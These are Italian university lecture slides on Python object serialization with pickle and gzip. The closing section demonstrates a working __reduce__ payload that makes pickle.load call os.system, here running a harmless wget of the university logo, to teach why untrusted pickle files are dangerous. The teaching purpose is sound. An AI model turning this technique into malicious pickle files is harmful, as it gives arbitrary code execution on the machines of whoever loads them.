

# La Programmazione ad Oggetti in Python

**Docente:** Ambra Demontis

**Anno Accademico:** 2022 - 2023

Corso di Laurea in Ingegneria Elettrica, Elettronica e Informatica



University of Cagliari,  
Italy

Department of Electrical and  
Electronic Engineering



# La Programmazione ad Oggetti in Python

In queste slide vedremo la serializzazione degli oggetti.

# La Serializzazione degli Oggetti

Durante l'esecuzione di un programma, gli oggetti spesso mutano.

Questo può accadere, ad esempio, perché hanno degli attributi nei quali memorizziamo dati forniti dall'utente, oppure il risultato di calcoli computazionalmente costosi.

Spesso abbiamo quindi la necessità di salvarli.

# La Serializzazione degli Oggetti

Per salvare degli oggetti in Python si utilizza la libreria **pickle** che “**traduce**” **gli oggetti Python in byte e fornisce i metodi utili per memorizzarli/caricarli.**

Questa libreria fornisce due funzioni rispettivamente per scrivere e leggere degli oggetti: **dump** e **load**.

# La Serializzazione degli Oggetti

Prima di poter caricare/memorizzare un oggetto dobbiamo creare e aprire un oggetto di tipo file.

Poichè i file generati da pickle possono assumere grandi dimensioni, **normalmente si utilizzano file compressi.**

Per gestire file compressi si utilizza la libreria **gzip**.

# File Compressi

La libreria gzip mette a disposizione una funzione chiamata ***open*** che ci **permette di creare un file compresso e di aprirlo.**

Questa funzione riceve come argomento:

1. il nome del file
2. la modalità di apertura, che sarà:
  - a. **"wb"** se vogliamo aprire il file in scrittura per salvare un oggetto
  - b. **"rb"** se vogliamo aprire il file in lettura per caricare un oggetto

# File Compressi

Ad esempio, supponiamo di voler aprire il file compresso chiamato "file\_oggetto.gz" in scrittura.

Scriveremo il codice:

```
import gzip
```

```
with gzip.open("file_oggetto.gz", "wb") as fo:  
    pass
```

# Salvare un Oggetto

Vogliamo ora utilizzare la libreria pickle per salvare un oggetto. In particolare, utilizzeremo la funzione ***dump***.

Questa funzione riceve come argomenti:

- l'oggetto da salvare
- l'oggetto file nel quale vogliamo salvarlo



# Salvare un Oggetto

Ad esempio il codice seguente crea un'istanza della classe lista e la salva.

```
import gzip  
import pickle
```

```
a = [1,2,3]
```

```
with gzip.open("file_objetto.gz", "wb") as fo:  
    pickle.dump(a, fo)
```

# Caricare un Oggetto

Per caricare un oggetto precedentemente salvato possiamo utilizzare la funzione load.

Questa funzione prende come argomento l'oggetto file aperto in modalità di lettura e restituisce in output l'oggetto caricato.

# Caricare un Oggetto

```
import gzip  
import pickle
```

```
with gzip.open("file_oggetto.gz", "rb") as fo:  
    obj = pickle.load(fo)
```

```
print(obj)
```

Stamperà:

```
[1, 2, 3]
```

# Esercizio su Salvataggio e Caricamento di Oggetti

Creare uno script che memorizza in una variabile il seguente dizionario:

```
{"nome": "Anna", "cognome": "Bianchi"}
```

e che lo salva nel file compresso chiamato “dizionario\_dati\_utente.gz”

Da un altro script caricare poi il contenuto del file “dizionario\_dati\_utente.gz” e stamparlo a schermo.

# Esercizio su Salvataggio e Caricamento di Oggetti

Script di salvataggio dell'oggetto.

```
import gzip  
import pickle
```

```
dizionario = {"nome": "Anna", "cognome": "Bianchi"}
```

```
with gzip.open("dizionario_dati_utente.gz", "wb") as fo:  
    pickle.dump(dizionario, fo)
```

# Esercizio su Salvataggio e Caricamento di Oggetti

Script di caricamento dell'oggetto.

```
import gzip  
import pickle
```

```
with gzip.open("dizionario_dati_utente.gz", "rb") as fo:  
    obj = pickle.load(fo)
```

```
print(obj)
```

# Serializzare Istanze di Classi Definite dal Programmatore

E' possibile utilizzare Pickle per serializzare la maggior parte degli oggetti built-in che abbiamo visto es: dizionari, stringhe, tuple.

Inoltre, ogni oggetto i cui attributi possono tutti essere serializzati, può essere serializzato.

Quindi Pickle **funziona anche con oggetti appartenenti a classi create dal programmatore** se i loro attributi possono essere serializzati.

# Serializzare Istanze di Classi Definite dal Programmatore

NB: **Pickle non salva la classe ma solo i valori degli attributi dell'oggetto!**

Quando richiamiamo la funzione load, pickle:

- carica dal file i valori degli attributi
- crea un'istanza della classe di appartenenza dell'oggetto salvato
- setta nell'oggetto i valori degli attributi

Quindi **Pickle non è in grado di caricare un oggetto se la definizione della classe di appartenenza dell'oggetto non è disponibile.**



# Serializzare Istanze di Classi Definite dal Programmatore

Salviamo un'istanza di una classe definita da noi:

```
import gzip
import pickle
```

```
class ClasseEsame():
    def __init__(self, nome, voto):
        self.nome = nome
        self.voto = voto
```

```
oggetto_esame = ClasseEsame('LPO', 28)
with gzip.open("oggetto_esame.gz", "wb") as fo:
    pickle.dump(oggetto_esame, fo)
```

# Serializzare Istanze di Classi Definite dal Programmatore

Proviamo a caricarlo utilizzando un'altro script:

```
import gzip
import pickle

with gzip.open("oggetto_esame.gz", "rb") as fo:
    obj = pickle.load(fo)
print(obj)
```

Verrà sollevata un'eccezione!

# Serializzare Istanze di Classi Definite dal Programmatore

Per far sì che funzioni dobbiamo importare la definizione della classe.

```
from OOP_in_python_esempio_19_salvataggiooggetto_2 import ClasseEsame
import gzip
import pickle
```

```
with gzip.open("oggetto_esame.gz", "rb") as fo:
    obj = pickle.load(fo)
```

# Oggetti Serializzabili e Non Serializzabili

Pickle non può essere utilizzato con tutti gli oggetti.

Gli oggetti che non possono essere serializzati da pickle sono per lo più quelli che hanno degli attributi che variano al variare del tempo.

Con essi, non possono essere serializzati neanche tutti gli oggetti che contengono questo tipo di oggetti.

# Oggetti Serializzabili e Non Serializzabili

Per far sì che gli oggetti serializzabili ma che contengono al loro interno oggetti non serializzabili possano essere salvati con pickle bisogna rimuovere dal loro interno gli oggetti non serializzabili.

# Oggetti Contenenti Codice Malevolo

## ATTENZIONE!

**I file pickle possono contenere del codice malevolo e far sì che venga eseguito quando l'oggetto viene caricato con pickle.**

E' quindi raccomandato caricare dei file con pickle solo se questi provengono da sorgenti di fiducia.

(Questa raccomandazione è riportata anche nella documentazione di Python).

# Oggetti Contenenti Codice Malevolo

Se pickle salva solo i valori degli attributi (es, interi, stringhe, dizionari e simili) dove può l'attaccante inserire del codice malevolo?

E soprattutto: come può far sì che il codice malevolo venga eseguito quando l'oggetto viene caricato?

# Oggetti Contenenti Codice Malevolo

Esiste **un metodo speciale** che, se definito dalla classe di appartenenza dell'oggetto che salviamo, viene utilizzato da Pickle.

Questo metodo è il metodo **`__reduce__`**.

**Lo scopo di questo metodo è fornire a Pickle quanto necessario per far sì che in fase di caricamento dell'oggetto possa creare un'istanza e inizializzarla.**

In particolare gli fornisce:

- la classe dell'oggetto
- i valori degli attributi che devono essere passati al metodo iniziatore.



# Oggetti Contenenti Codice Malevolo

Creiamo una classe che definisce il metodo `__reduce__`.

```
class CClasseEsame():  
    def __init__(self, nome, voto):  
        self.nome = nome  
        self.voto = voto  
  
    def __reduce__(self):  
        return CClasseEsame, (self.nome, self.voto)
```

# Oggetti Contenenti Codice Malevolo

```
...  
def __reduce__(self):  
    return CClasseEsame, (self.nome, self.voto)
```

Pickle, al momento del caricamento, per creare un'istanza dell'oggetto farà:  
CClasseEsame(<nome>, <voto>)

NB: Invoca il primo argomento e gli passa come parametri quelli specificati nella tupla passata come argomento dalla reduce!

# Oggetti Contenenti Codice Malevolo

Proviamo a far sì che il metodo `__reduce__` restituisca una funzione custom che vogliamo che invochi:

```
def funzione_malevola():  
    print("funzione malevola!")
```

```
class CClasseEsame():  
    def __init__(self, nome, voto):  
        self.nome = nome  
        self.voto = voto
```

```
    def __reduce__(self):  
        return funzione_malevola, ()
```

# Oggetti Contenenti Codice Malevolo

Salviamo un'istanza della classe vista nella slide precedente con pickle e proviamo a caricarla da un'altro script:

```
import gzip
import pickle
import os
```

```
with gzip.open("oggetto_quasi_malevolo.gz", "rb") as fo:
    obj = pickle.load(fo)
```

Verrà sollevata un'eccezione:

**AttributeError: Can't get attribute 'funzione\_malevola'**

# Oggetti Contenenti Codice Malevolo

Tuttavia, se la importassimo nello script che effettua il caricamento, questa funzione verrebbe eseguita!

```
import gzip
import pickle
import os
from creazione_file_pickle_quasi_malevolo import funzione_malevola

with gzip.open("oggetto_quasi_malevolo.gz", "rb") as fo:
    obj = pickle.load(fo)
```

Stamperebbe:  
funzione malevola!

# Oggetti Contenenti Codice Malevolo

Ovviamente l'attaccante non può sperare che la vittima importi la sua funzione malevola, tuttavia questo ci dice che, grazie al ducktyping, è possibile far sì che venga eseguita una funzione scelta dall'attaccante...

Quindi **all'attaccante basta scegliere una funzione che sia sicuramente disponibile nello script della vittima.**

Ad esempio la funzione **system** messa a disposizione dalla libreria os. Questa funzione permette di eseguire vari comandi ricevuti come argomento.

(Riceve come argomento una stringa che può codificare uno o più comandi che verranno eseguiti dalla funzione).

# Oggetti Contenenti Codice Malevolo

```
import gzip
import pickle
from os import system

class CClasseMalevola:
    def __reduce__(self):
        cmd = ('wget https://www.unica.it/static/resources/static/img/logo_unica.svg')
        return system, (cmd,)

ogg = CClasseMalevola()

with gzip.open("oggetto_malevolo.gz", "wb") as fo:
    pickle.dump(ogg, fo)
```

# Oggetti Contenenti Codice Malevolo

In questo caso, al momento del caricamento dell'oggetto, in sistemi operativi basati su Unix, viene solo scaricato, dal sito web della facoltà, il logo di unica.

Tuttavia, l'attaccante potrebbe utilizzare questa tecnica per fare tante altre cose..